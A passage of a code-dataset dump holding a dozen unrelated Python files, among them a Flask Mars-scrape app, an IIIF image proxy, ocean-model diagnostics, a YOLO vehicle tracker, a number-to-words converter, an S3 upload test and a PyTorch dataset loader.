db.mars.find_one()\r\n print(mars)\r\n return render_template(\"index2.html\", mars_data=mars)\r\n\r\n#Create a route that will import the scrap_mars.py scrip and call the scrape function\r\n#Store the return values in Mongo as a Python dicitonary\r\n@app.route(\"/scrape\")\r\ndef scrape():\r\n mars_data = scrape_mars.scrape()\r\n db.mars.update(\r\n {},\r\n mars_data,\r\n upsert=True\r\n )\r\n return redirect(\"http://localhost:5000/\", code=302)\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"16071652","text":"from csv import reader\nfrom os import getenv\nimport logging\nimport requests\nimport re\nfrom lump.http import dbus_connect\nfrom lxml import objectify\nfrom collections import namedtuple\nfrom urllib.parse import urlparse\nimport json\n\nlogger = logging.getLogger()\n\nItem = namedtuple('Item', ['pid', 'mediafile_id', 'asset_id', 'image_path'])\nmediamosa_config = {\n \"host\": getenv('MEDIAMOSA_HOST'),\n \"user\": getenv('MEDIAMOSA_USER'),\n \"password\": getenv('MEDIAMOSA_PASS')\n}\n\n\nclass Mappings:\n is_checked = set()\n\n def __init__(self, csv_file):\n mappings_ = dict()\n with open(csv_file) as f:\n csv = reader(f)\n header = next(csv)\n idx_pid = header.index('pid')\n idx_mediafile_id = header.index('mediafile_id')\n idx_asset_id = header.index('asset_id')\n for line in csv:\n mappings_[line[idx_pid]] = Item(\n line[idx_pid],\n line[idx_mediafile_id],\n line[idx_asset_id],\n None\n )\n self.mappings = mappings_\n\n def _assure_iiif_available(self, item):\n conn = dbus_connect(**mediamosa_config)\n\n url = mediamosa_config['host']\n url += '/asset/%s/play?user_id=%s&mediafile_id=%s&autostart=true&count_play=true'\n url %= (item.asset_id, 'iiif', item.mediafile_id)\n\n image = objectify.fromstring(conn.get(url).content)\n image = str(image['items']['item']['output'])\n image = urlparse(image).path\n item = item._replace(image_path=image)\n self.mappings[item.pid] = item\n return item\n\n def __getitem__(self, key):\n item = self.mappings[key]\n if item.image_path is not None:\n return item\n return self._assure_iiif_available(item)\n\n\ntry:\n mappings = Mappings(getenv('IIIF_MAPPING_FILE', 'mappings.csv'))\nexcept FileNotFoundError as e:\n logging.getLogger().exception(e)\n mappings = None\n\nprefix = getenv(\"IIIF_PREFIX_URI\", \"/iipsrv/?IIIF=\")\nprefix_host = getenv('IIIF_PREFIX_HOST', \"https://images.hetarchief.be\")\nreplace_id = re.compile(r'(\"@id\"\\s*:\\s*\")[^\"]+(\")')\nremove_query_string = re.compile(r'\\?.*$')\n\n\ndef app(environ, start_response):\n resp = response(environ)\n if type(resp) is str:\n status = resp\n resp = []\n else:\n status = resp[0]\n\n try:\n headers = resp[1]\n except IndexError:\n headers = []\n\n try:\n content = resp[2]\n except IndexError:\n content = b''\n\n headers.append(('Content-Length', str(len(content))))\n start_response(status, headers)\n return iter([content])\n\n\ndef response(environ):\n if mappings is None:\n return '503 Service Unavailable'\n\n uri = remove_query_string.sub('', environ['RAW_URI'])\n if uri == '/':\n return '200 OK'\n\n parts = uri.lstrip('/').split('/', 1)\n pid = parts.pop(0)\n try:\n item = mappings[pid]\n except KeyError:\n return '404 Not Found'\n\n if not len(parts) or parts[0] == '':\n # by default redirect to the info.json file\n return '303 See Other', [\n ('Location', '/%s/info.json' % (pid,)),\n ]\n\n try:\n postfix = parts.pop()\n except IndexError:\n postfix = ''\n\n url = [prefix + item.image_path, postfix]\n url = '/'.join(url)\n\n if postfix != 'info.json':\n logging.getLogger().info(url)\n return '200 OK', [\n ('X-Accel-Redirect', url),\n ]\n\n is_https = getenv('IS_HTTPS', False)\n new_url = environ['HTTP_HOST']\n if is_https:\n new_url = 'https://' + new_url\n else:\n new_url = 'http://' + new_url\n new_url += '/' + pid\n contents = requests.get(prefix_host + url).content.decode('UTF-8')\n contents = replace_id.sub(r'\\1' + new_url + r'\\2', contents)\n\n contents = json.loads(contents)\n contents[\"rights\"] = getenv(\"RIGHTS_URL\")\n contents = json.dumps(contents)\n\n return '200 OK', [\n ('Content-Type', 'application/json'),\n ('Access-Control-Allow-Origin', '*'),\n ], bytes(contents, encoding='UTF-8')\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"435144354","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2019.12.30\n\n@author: MiniUFO\nCopyright 2018. All rights reserved. Use is subject to license terms.\n\"\"\"\nfrom GeoApps.Application import Application\n\n\nclass Dynamics(Application):\n \"\"\"\n This class is designed for calculating the dynamical methods.\n \"\"\"\n def __init__(self, dset, grid=None):\n \"\"\"\n Construct a Dynamics instance using a Dataset\n \n Parameters\n ----------\n dset : xarray.Dataset\n a given Dataset containing MITgcm output diagnostics\n grid : xgcm.Grid\n a given grid that accounted for grid metrics\n \"\"\"\n super(Dynamics, self).__init__(dset, grid=grid)\n\n\n def cal_horizontal_divergence(self, u, v):\n \"\"\"\n Calculate horizonal divergence as du/dx + dv/dy.\n \n Parameters\n ----------\n u : xarray.DataArray\n X-component velocity.\n v : xarray.DataArray\n Y-component velocity.\n \"\"\"\n coords = self.coords\n grid = self.grid\n\n # get MITgcm diagnostics and calculate fluxes\n uflx = u * coords.dyG * coords.hFacW\n vflx = v * coords.dxG * coords.hFacS\n\n # difference to get flux convergence\n div = ((grid.diff(uflx, 'X', boundary=self.BCx) +\n grid.diff(vflx, 'Y', boundary=self.BCy)\n )/coords.rA/coords.hFacC).rename('div')\n\n return div\n\n\n def cal_vertical_vorticity(self, u, v):\n \"\"\"\n Calculate vertical vorticity as dv/dx - du/dy.\n \n Parameters\n ----------\n u : xarray.DataArray\n X-component velocity.\n v : xarray.DataArray\n Y-component velocity.\n \"\"\"\n # get MITgcm diagnostics and calculate circulations\n ucir = u * self.coords.dxC\n vcir = v * self.coords.dyC\n\n # difference to get flux convergence\n vor = ((self.grid.diff(vcir, 'X', boundary=self.BCx) -\n self.grid.diff(ucir, 'Y', boundary=self.BCy)\n )/self.coords.rAz).rename('vor')\n\n return vor\n\n\n def cal_Laplacian(self, var):\n \"\"\"\n Calculate Laplacian of var as %\\nabla^2 q%.\n \n Parameters\n ----------\n var : xarray.DataArray\n A given variable.\n \"\"\"\n der = self.grid.derivative\n\n lap = der(der(var, 'X', boundary=self.BCx), 'X', boundary=self.BCx) + \\\n der(der(var, 'Y', boundary=self.BCy), 'Y', boundary=self.BCy)\n\n return lap\n\n\n def cal_strain(self, u, v):\n \"\"\"\n Calculate strain as du/dx - dv/dy.\n \n Parameters\n ----------\n u : xarray.DataArray\n X-component velocity.\n v : xarray.DataArray\n Y-component velocity.\n \"\"\"\n coords = self.coords\n \n uflx = u * coords.dyG * coords.hFacW\n vflx = v * coords.dxG * coords.hFacS\n\n # difference to get strain\n strn = ((self.grid.diff(uflx, 'X', boundary=self.BCx) -\n self.grid.diff(vflx, 'Y', boundary=self.BCy)\n )/coords.rA/coords.hFacC).rename('strn')\n\n return strn\n\n\n def cal_kinetic_energy(self, u, v):\n \"\"\"\n Calculate kinetic energy.\n \n Parameters\n ----------\n u : xarray.DataArray\n X-component velocity.\n v : xarray.DataArray\n Y-component velocity.\n \"\"\"\n coords = self.coords\n \n uu = u * coords.hFacW\n vv = v * coords.hFacS\n\n # interpolate to get tracer-point energy\n KE = ((self.grid.interp(uu**2, 'X', boundary=self.BCx) +\n self.grid.interp(vv**2, 'Y', boundary=self.BCy)\n )/coords.hFacC * 0.5).rename('KE')\n\n return KE\n\n\n def cal_squared_gradient(self, var):\n \"\"\"\n Calculate squared gradient magnitude.\n \n Parameters\n ----------\n var : xarray.DataArray\n A given variable to be defined at tracer point\n and thus the result.\n \"\"\"\n grid = self.grid\n \n grdx = grid.derivative(var, 'X', boundary=self.BCx)\n grdy = grid.derivative(var, 'Y', boundary=self.BCy)\n\n # interpolate to get tracer-point gradient magnitude\n grdS = ((self.grid.interp(grdx**2, 'X', boundary=self.BCx) +\n self.grid.interp(grdy**2, 'Y', boundary=self.BCy)\n )).rename('grdS'+var.name)\n \n return grdS\n\n\n \"\"\"\n Helper (private) methods are defined below\n \"\"\"\n\n\n\"\"\"\nTesting codes for each class\n\"\"\"\nif __name__ == '__main__':\n print('start testing in DiagnosticMethods')\n\n\n","sub_path":"DiagnosticMethods.py","file_name":"DiagnosticMethods.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"105154279","text":"import sys\nfrom converter.constants import MAGNITUDES, TENS, UNITS\n\nif sys.version_info[0] < 3:\n raise Exception('This application requires Python 3')\n\n\ndef _less_than_hundred_to_words(number):\n if number < 20:\n return UNITS[number]\n elif number < 100:\n number_tens = number // 10\n number_units = number % 10\n return f'{TENS[number_tens]} {UNITS[number_units]}'\n\n # if none of the above clauses are met, the number is out of bounds, we throw an assertion error\n assert 0 < number < 100, f'we should have 0 < number < 100, but number is {number}'\n\n\ndef _less_than_thousand_to_words(number):\n if number < 100:\n return _less_than_hundred_to_words(number)\n elif number < 1000:\n number_hundreds = number // 100\n remainder = number % 100\n remainder_in_words = _less_than_hundred_to_words(remainder)\n if remainder_in_words:\n return f'{UNITS[number_hundreds]} hundred and {remainder_in_words}'\n else:\n return f'{UNITS[number_hundreds]} hundred'\n\n\ndef _positive_int_to_words(number):\n \"\"\" Converts positive integer numbers into words, e.g. number = 99 returns 'ninety nine'. \"\"\"\n if number < 1000:\n return _less_than_thousand_to_words(number).strip()\n\n # find the magnitude of the number;\n # 1_000 -> magnitude = 1\n # 1_000_000 -> magnitude = 2\n # etc.\n number_magnitude = 0\n for allowed_magnitude in MAGNITUDES:\n if number // 1000 ** allowed_magnitude:\n number_magnitude += 1\n\n # if we have number = 1_000_000_000, magnitude is in [3, 2, 1]\n for magnitude in reversed(range(1, number_magnitude+1)):\n number_xillions = number // 1000**magnitude\n number_xillions_in_words = _positive_int_to_words(number_xillions)\n\n remainder = number % 1000**magnitude\n remainder_in_words = _positive_int_to_words(remainder)\n\n if remainder_in_words:\n return f'{number_xillions_in_words} {MAGNITUDES[magnitude]}, {remainder_in_words}'.strip()\n else:\n return f'{number_xillions_in_words} {MAGNITUDES[magnitude]}'.strip()\n\n\ndef _int_to_words(number):\n if number == 0:\n return 'zero'\n if number < 0:\n return f'minus {_positive_int_to_words(-number)}'\n else:\n return _positive_int_to_words(number)\n\n\ndef currency_amount_to_words(currency_amount):\n \"\"\"\n Converts a currency amount in words.\n :param currency_amount: float representing the currency amount, e.g., 345.76\n :return: string representing the amount in words, e.g., 'three hundred and forty five DOLLARS AND seventy six CENTS'\n \"\"\"\n number_of_dollars = int(currency_amount)\n number_of_cents = int((currency_amount * 100 - int(number_of_dollars) * 100))\n\n number_of_dollars_in_words = _int_to_words(number_of_dollars)\n number_of_cents_in_words = _int_to_words(number_of_cents)\n\n return f'{number_of_dollars_in_words} DOLLARS AND {number_of_cents_in_words} CENTS'\n","sub_path":"converter/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"49727427","text":"import csv\n\n\ndef parsedata(filename):\n\tf_original = open(filename, \"r\")\n\tf_new = open(\"example_new.csv\", \"w\")\n\n\tfor line in f_original:\n\t\tlastprice = line.split(',')[3]\n\t\tcurr_time = line.split(',')[2]\n\t\tf_new.write(\"IBM, 20100105,\")\n\t\tif times[curr_time] is 0:\n\t\t\tprevtime = curr_time\n\t\t\tf_new.write(curr_time)\n\t\t\tf_new.write(\" , \")\n\t\t\tf_new.write(lastprice)\n\t\tf_new.write(\"\\n\")\n\tf_original.close()\n\tf_new.close()\n\nif __name__ == '__main__':\n\tparsedata(\"example.csv\")","sub_path":"parsedata.py","file_name":"parsedata.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"536802845","text":"#!/usr/bin/env python3\nfrom subprocess import check_output\nCO = check_output\n\ndata = [i for i in check_output(['mpc', '-f', '', 'status']).decode().split('\\n') if i]\n\ndef parse_l1(d1):\n\tis_playing = d1[0] == '[playing]'\n\n\tif is_playing:\n\t\tplaystr = '\\x1b[32m|>'\n\telse:\n\t\t# playstr = '\\x1b[31m||'\n\t\tplaystr = '\\x1b[31m[]'\n\n\ttimestr = '{}: {}, {}'.format(\n\t\td1[1], d1[2], d1[3][1:-1]\n\t)\n\treturn [playstr, timestr]\n\ndef parse_l2(d2):\n\tvolstr=d2[1]\n\n\toptchars = list('ersc')\n\toptbool = [d2[3], d2[5], d2[7], d2[9]]\n\toptstr = ''.join([\n\t\toptchars[i] if optbool[i]=='off' else optchars[i].upper()\n\t\tfor i in range(4)\n\t]) + ','\n\n\treturn [optstr, volstr]\n\treturn [volstr, optstr]\n\nif len(data) == 2:\n\td1 = [i for i in data[0].split(' ') if i]\n\t# this replacement fixes a small bug\n\tdata[1] = data[1].replace('volume:100%', 'volume: 100%')\n\td2 = [i for i in data[1].split(' ') if i]\n\n\talbumlen = len(\n\t\tCO([\n\t\t\t'mpc', 'find', 'album', CO([\n\t\t\t\t'mpc', '-f', '%album%', 'current'\n\t\t\t]).decode().rstrip()\n\t\t]).decode().rstrip().split('\\n')\n\t)\n\n\tif albumlen == 0:\n\t\talbumdisp = ''\n\telse:\n\t\talbumdisp = f'/{albumlen}'\n\n\tformatstr = '\\e\\[1;34m[[%title%]|%file%]\\e\\[0m[\\n\\e\\[1;36m%artist%\\e\\[0m[ (\\e\\[32m##%track%{}\\e\\[0m)\\n\\e\\[36m%album%\\e\\[0m ]'.format(\n\t\talbumdisp\n\t)\n\n\tcurstr = check_output(['mpc', '-f', formatstr, 'current']).decode().rstrip('\\n')\n\n\n\tprint('{}\\n{} {}\\n{} {}\\x1b[0m'.format(\n\t\tcurstr,\n\t\t*parse_l1(d1),\n\t\t*parse_l2(d2),\n\t))\n\nelif len(data) == 1:\n\td2 = [i for i in data[0].split(' ') if i]\n\n\tprint('{} {}'.format(\n\t\t*parse_l2(d2),\n\t))\n","sub_path":"extras/bin/mpd/sym/mpc_status.py","file_name":"mpc_status.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"58942780","text":"import time\n\nimport cv2\nimport tensorflow as tf\nimport tensornets as nets\n\nfrom non_max_suppression import non_max_suppression_fast\nfrom sort import *\nfrom utils import resize_box\n\nresizedX, resizedY = 416, 416\nconfidance = .4\ninputs = tf.placeholder(tf.float32, [None, resizedX, resizedY, 3])\nmodel = nets.YOLOv3COCO(inputs, nets.YOLOv3COCO)\nframeCounter = 0\n\n# to display other detected #objects,change the classes and list of classes to their respective #COCO indices available in their website. Here 0th index is for #people and 1 for bicycle and so on. If you want to detect all the #classes, add the indices to this list\nclasses = {'1': 'bicycle', '2': 'car', '3': 'motorcycle', '5': 'bus', '7': 'truck'}\nlist_of_classes = [1, 2, 3, 5, 7]\n\nmot_tracker = Sort(max_age=30, min_hits=1, max_history=300)\nwith tf.Session() as sess:\n sess.run(model.pretrained())\n\n cap = cv2.VideoCapture(\"C://Users//Divided//Desktop//test//5.mp4\")\n # change the path to your directory or to '0' for webcam\n while cap.isOpened():\n ret, frame = cap.read()\n start_time = time.time()\n frameHeight, frameWidth = frame.shape[:2]\n scaleFactorX, scaleFactorY = frameWidth / resizedX, frameHeight / resizedY\n\n img = cv2.resize(frame, (resizedY, resizedX))\n\n imge = np.array(img).reshape(-1, resizedY, resizedX, 3)\n preds = sess.run(model.preds, {inputs: model.preprocess(imge)})\n\n boxes = model.get_boxes(preds, imge.shape[1:3])\n cv2.namedWindow('image', cv2.WINDOW_NORMAL)\n\n cv2.resizeWindow('image', frameWidth, frameHeight)\n\n boxes1 = np.array(boxes)\n detections = []\n for j in list_of_classes: # iterate over classes\n count = 0\n if str(j) in classes:\n lab = classes[str(j)]\n if len(boxes1) != 0:\n # iterate over detected vehicles\n for i in range(len(boxes1[j])):\n box = boxes1[j][i]\n # setting confidence threshold\n if boxes1[j][i][4] >= confidance:\n count += 1\n detection = resize_box(box[:4], scaleFactorX, scaleFactorY)\n detection.append(boxes1[j][i][4])\n detection.append(j)\n detections.append(detection)\n print(lab, \": \", count)\n\n suppressedDetections = non_max_suppression_fast(np.array(detections), 0.4)\n # filtered = filter_box_by_size(suppressedDetections, minWidth=30, minHeight=30, minArea=400)\n\n mot_tracker.update(np.array(detections))\n trackerObjects = mot_tracker.trackers\n for t in trackerObjects:\n if t.hit_streak > 1:\n if len(t.centroidHistory) > 0:\n cv2.rectangle(frame, (int(t.history[-1][0][0]), int(t.history[-1][0][1])),\n (int(t.history[-1][0][2]), int(t.history[-1][0][1] - 10)), t.color, -1)\n\n cv2.putText(frame, str(t.id), (int(t.history[-1][0][0]), int(t.history[-1][0][1] - 1)),\n cv2.FONT_HERSHEY_DUPLEX, 0.3,\n (255, 255, 255),\n lineType=cv2.LINE_AA)\n\n cv2.polylines(frame, [np.asarray(t.centroidHistory).astype(int).reshape((-1, 1, 2))\n ], False, t.color, 1, cv2.LINE_AA)\n\n if len(t.centroidHistory) > 1:\n cv2.arrowedLine(frame,\n (int(t.centroidHistory[-2][0]), int(t.centroidHistory[-2][1])),\n (int(t.centroidHistory[-1][0]), int(t.centroidHistory[-1][1])),\n t.color, 1, cv2.LINE_AA, 0, 1)\n\n if len(t.history) > 0:\n cv2.rectangle(frame, (int(t.history[-1][0][0]), int(t.history[-1][0][1])),\n (int(t.history[-1][0][2]), int(t.history[-1][0][3])), t.color, 1)\n\n cv2.putText(frame, \"{:.2f}\".format(t.confidence),\n (int(t.history[-1][0][0]), int(t.history[-1][0][1] + 10)),\n cv2.FONT_HERSHEY_DUPLEX, 0.3,\n (255, 255, 255),\n lineType=cv2.LINE_AA)\n\n cv2.rectangle(frame, (int(t.history[-1][0][2]) - 10, int(t.history[-1][0][1])),\n (int(t.history[-1][0][2]), int(t.history[-1][0][1] + 10)), t.color, 1)\n\n cv2.putText(frame, classes[str(int(t.predicted_class))][0].upper(),\n (int(t.history[-1][0][2]) - 8, int(t.history[-1][0][1] + 9)),\n cv2.FONT_HERSHEY_DUPLEX, 0.3,\n (255, 255, 255),\n lineType=cv2.LINE_AA)\n\n computeTime = (time.time() - start_time)\n fps = 1 / computeTime\n print(\"Time: \" + str(int(computeTime * 1000)))\n print(\"FPS: \" + \"{:.2f}\".format(fps)) # to time it\n cv2.putText(frame, str(frameWidth) + \"x\" + str(frameHeight) + \" \" + str(\n int(computeTime * 1000)) + \" ms \" + \"{:.2f}\".format(\n fps) + \" fps\" + \" frame \" + str(\n frameCounter), (0, 20),\n cv2.FONT_HERSHEY_SIMPLEX, 0.7,\n (255, 255, 255),\n lineType=cv2.LINE_AA)\n # Display the output\n\n cv2.imshow(\"image\", frame)\n\n # path = \"C://Users//Divided//Desktop//klatki\"\n # cv2.imwrite(cv2.os.path.join(path, str(frameCounter) + \".jpg\"), frame)\n # frameCounter += 1\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"630265775","text":"# Uses python3\ndef edit_distance(s, t):\n #s=\"editing\"\n\n\n\tsLen,tLen=len(s),len(t)\n\n\tDistM = [[0 for x in range(tLen+1)] for y in range(sLen+1)] \n\n\tfor i in range(sLen+1):\n\t\tDistM[i][0]=i\n\n\tfor j in range(tLen+1):\n\t\tDistM[0][j]=j \n\n\n\tfor j in range(1,(tLen+1)): \n\t for i in range(1,(sLen+1)): \n\t Ins= DistM[i][j-1]+1\n\t Del= DistM[i-1][j]+1\n\t Mtch= DistM[i-1][j-1]\n\t Mis= DistM[i-1][j-1]+1\n\t #print(f'i{i} j{j}')\n\t if s[i-1]==t[j-1]:\n\t DistM[i][j]=min(Ins,Del,Mtch)\n\t else:\n\t DistM[i][j]=min(Ins,Del,Mis)\n\t \n\n\treturn DistM[sLen][tLen] \n\nif __name__ == \"__main__\":\n print(edit_distance(input(), input()))\n","sub_path":"Crs1Algos/Week5Solutions/edit_distance.py","file_name":"edit_distance.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"452607430","text":"# Copyright 2012 Dorival de Moraes Pedroso. All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n\nfrom pylab import subplot, plot, show\nfrom gosl import Read, Gll\n\ngo = Read('results/hwamplifierB.res')\nfo = Read('data/radau5_hwamplifier.dat') # HW Fortran code results\n\nfor i in range(8):\n subplot(8,1,i+1)\n fo_l = 'hw'\n go_l = 'go'\n plot(fo['x'], fo['y%d'%i], '.', label=\"HW Code (B)\")\n plot(go['x'], go['y%d'%i], '+', label=\"GoSL\", ms=8)\n Gll('x','y%d'%i)\n\nshow()\n","sub_path":"ode/data/plot_hwamplifierB.py","file_name":"plot_hwamplifierB.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"423714548","text":"import unittest\nimport sys\nsys.path.insert(0, '/Users/maks/Library/Application Support/Sublime Text 3/Packages/util')\nsys.path.insert(0, '/Users/maks/Library/Application Support/Sublime Text 3/Packages/relative')\nimport color\nimport assertMy\nimport relativeRequireIced_model\n\nclass Test(unittest.TestCase):\n\tdef test_testName(self):\n\t\tcolor.blue(\"test here baby\")\n\t\tfileContent=\"\"\"\n(require 'throw').Throw()\nassert = require 'assert'\nasync = require 'async'\ncheerio = require 'myAssert/cheerio'\n\nmodule.exports = (test)=>\n\tcheerio = require 'myAssert/cheerio'\"\"\"\n\t\tresult = relativeRequireIced_model.getPositionInSourceWhereToPaste_bySourceFileContent(fileContent)\n\t\texpected = 113\n\t\tassertMy.equals(result, expected)\n\nif __name__ == '__main__':\n\tunittest.main()","sub_path":"relative/test/getPositionInSource/debug_require_in_func_test.py","file_name":"debug_require_in_func_test.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"81583000","text":"import unittest\n\nimport synapse.lib.tufo as s_tufo\n\n# Unittests for synapse/lib/tufo.py\n\n\nclass TufoEqualityTest(unittest.TestCase):\n def setUp(self):\n self.t1 = s_tufo.tufo('bar', baz='faz', derp=20)\n self.t2 = s_tufo.tufo('bar', derp=20, baz='faz')\n self.t3 = s_tufo.tufo('foo', derp=20, baz='faz')\n self.t4 = s_tufo.tufo('bar', derp=20, baz='faz', prop='value')\n self.t5 = s_tufo.tufo('bar', **{'baz': 'faz', 'derp': 20, 'namespace:sound': 'quack'})\n self.t6 = s_tufo.tufo('bar', **{'baz': 'faz', 'derp': 20})\n\n def test_equals(self):\n '''\n Ensure that tufo equality works where expected.\n '''\n r = s_tufo.equal(tuf0=self.t1, tuf1=self.t2)\n self.assertTrue(r)\n r = s_tufo.equal(tuf0=self.t1, tuf1=self.t6)\n self.assertTrue(r)\n\n def test_not_equals(self):\n '''\n Ensure that tufo equality works where expected.\n '''\n r = s_tufo.equal(tuf0=self.t1, tuf1=self.t3)\n self.assertFalse(r)\n r = s_tufo.equal(tuf0=self.t1, tuf1=self.t4)\n self.assertFalse(r)\n r = s_tufo.equal(tuf0=self.t1, tuf1=self.t5)\n self.assertFalse(r)\n\n\nclass TufoCreateTests(unittest.TestCase):\n def setUp(self):\n self.tuf0 = ('bar', {'baz': 'faz', 'derp': 20})\n\n def test_simple_tufo_creation(self):\n '''\n Ensure that tufos can be created with explicit arguments.\n '''\n tuf0 = s_tufo.tufo('bar', baz='faz', derp=20)\n r = s_tufo.equal(tuf0, self.tuf0)\n self.assertTrue(r)\n\n def test_kwargs_tufo_creation(self):\n '''\n Ensure that tufos' can be created via **kwargs.\n '''\n tuf0 = s_tufo.tufo('bar', **{'baz': 'faz', 'derp': 20,})\n r = s_tufo.equal(tuf0, self.tuf0)\n self.assertTrue(r)\n\n\nclass TestTufoProps(unittest.TestCase):\n def setUp(self):\n self.t1 = s_tufo.tufo('bar', baz='faz', derp=20)\n self.t2 = s_tufo.tufo('bar', **{'baz': 'faz', 'derp': 20, 'namespace:sound': 'quack'})\n self.t3 = ('duck', {'tufo:form': 'animal', 'animal:stype': 'duck', 'animal:sound': 'quack'})\n\n def test_default_props(self):\n '''\n Ensure that when no prefix is provided, the properties are taken from the form.\n '''\n r = s_tufo.props(self.t1)\n self.assertEqual(r, {})\n r = s_tufo.props(self.t2)\n self.assertEqual(r, {})\n r = s_tufo.props(self.t3)\n self.assertEqual(r, {'sound': 'quack', 'stype': 'duck'})\n\n def test_named_props(self):\n '''\n Ensure that provided prefixes are used.\n '''\n r = s_tufo.props(self.t2, pref='namespace')\n self.assertEqual(r, {'sound': 'quack'})\n r = s_tufo.props(self.t3, pref='animal')\n self.assertEqual(r, {'sound': 'quack', 'stype': 'duck'})\n r = s_tufo.props(self.t3, pref='geo')\n self.assertEqual(r, {})\n\n","sub_path":"synapse/tests/test_tufo.py","file_name":"test_tufo.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"488474570","text":"import os\nimport tempfile\nimport unittest\n\nimport boto3, botocore\nfrom moto import mock_s3\n\nfrom aws import s3_upload\n\nclass TestAWS(unittest.TestCase):\n @mock_s3\n def test_s3_upload(self):\n tmp_file = tempfile.mkstemp('.json')\n bucket_name = 'my-bucket'\n\n s3 = boto3.client('s3')\n s3.create_bucket(Bucket=bucket_name)\n\n # Should raise exception because no environment variables defined yet.\n with self.assertRaises(Exception) as context:\n s3_upload(bucket_name, tmp_file[1])\n\n # Set environment variables\n os.environ['AWS_REGION'] = 'us-east-1'\n os.environ['AWS_ACCESS_KEY_ID'] = 'access'\n os.environ['AWS_SECRET_ACCESS_KEY'] = 'secret'\n os.environ['AWS_S3_BUCKET_NAME'] = 'my-bucket'\n\n # Should be successful\n s3_upload(tmp_file[1])\n\n s3 = boto3.resource('s3')\n\n # Verify if file is successfully uploaded.\n try:\n s3.Object(os.environ['AWS_S3_BUCKET_NAME'],\n os.path.basename(tmp_file[1])).load()\n except botocore.exceptions.ClientError as e:\n self.fail('Object not found')\n else:\n self.assertTrue(True)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_aws.py","file_name":"test_aws.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"3455774","text":"import re\nimport pickle\nimport os\nimport torch\nimport soundfile as sf\nfrom torch.utils import data\nimport copy\nimport random\n\n\nclass Dataset(data.Dataset):\n\n \"\"\" \n Args:\n `prefix`: prefix of path when operating on different servers\n `all_egs`: examples to train and test\n `negs_per_spkr`: number of speakers for each training batch\n\n Classmethod:\n `from_pkl`:\n `datainfo_path`: path where all_egs.pkl is saved\n `prefix` and `negs_per_spkr`: same as in args\n \"\"\"\n\n def __init__(self, all_egs, prefix):\n super(Dataset, self).__init__()\n self.all_egs = all_egs\n self.prefix = prefix\n self.ptn = re.compile(r'^.*DATASET/(?P.*)$')\n\n self.coder() # create encoder and decoder\n \n @classmethod\n def from_pkl(cls, datainfo_path, prefix):\n with open(datainfo_path, 'rb') as f_all_egs:\n all_egs = pickle.load(f_all_egs)\n return cls(all_egs, prefix)\n\n @property\n def spkr_num(self):\n spkr_set = set()\n for egs in self.all_egs:\n for spkr in egs.keys():\n spkr_set.add(spkr)\n return len(spkr_set)\n\n def coder(self):\n \"\"\" encoder: encode each utterance with a unique id\n decoder: decode each utterances id to (ark_id, spkr_id, relative_utt_id)\n self.idx2ark: {utt-id-0: (ark-id, spkr-id, rel-utt-id), ...}\n self.ark2idx: [[uttid-for-ark-0], [uttid-for-ark-1], ...] \"\"\"\n\n self.idx2ark = {}\n self.ark2idx = [[] for _ in range(len(self.all_egs))]\n utt_id = 0 \n for ark_id, ark in enumerate(self.all_egs):\n for spkr_id, value in ark.items():\n for rel_utt_id in range(len(value)):\n self.idx2ark[utt_id] = (ark_id, spkr_id, rel_utt_id)\n self.ark2idx[ark_id].append(utt_id)\n utt_id += 1\n self.len = utt_id\n\n def __getitem__(self, idx):\n ark_id, spkr_id, rel_utt_id = self.idx2ark[idx]\n uttpath, offset, chunklen = self.all_egs[ark_id][spkr_id][rel_utt_id]\n uttpath = os.path.join(self.prefix, uttpath) \n s, _ = sf.read(uttpath, start=offset, stop=offset + chunklen)\n utts = torch.from_numpy(s)\n return utts, torch.tensor(spkr_id) \n\n def __len__(self):\n return self.len\n\n\nclass TrainBatchSampler(data.Sampler):\n\n def __init__(self, ark2idx, batch_size, n_batch=None, drop_last=True):\n self.ark2idx = ark2idx\n self.batch_size = batch_size\n self.drop_last = drop_last\n\n self.n_batch = self.get_len(n_batch)\n\n @classmethod\n def from_dataset(cls, dataset, batch_size, n_batch=None, drop_last=True):\n ark2idx = copy.deepcopy(dataset.ark2idx)\n return cls(ark2idx, batch_size, n_batch=n_batch, drop_last=drop_last)\n\n def get_len(self, n_batch):\n if n_batch is None:\n n_batch = 0\n for ark_idx in self.ark2idx:\n if self.drop_last:\n n_batch += int(len(ark_idx) // self.batch_size)\n else:\n n_batch = n_batch + int(len(ark_idx) // self.batch_size) + int(len(ark_idx) % self.batch_size > 0)\n return n_batch\n\n def 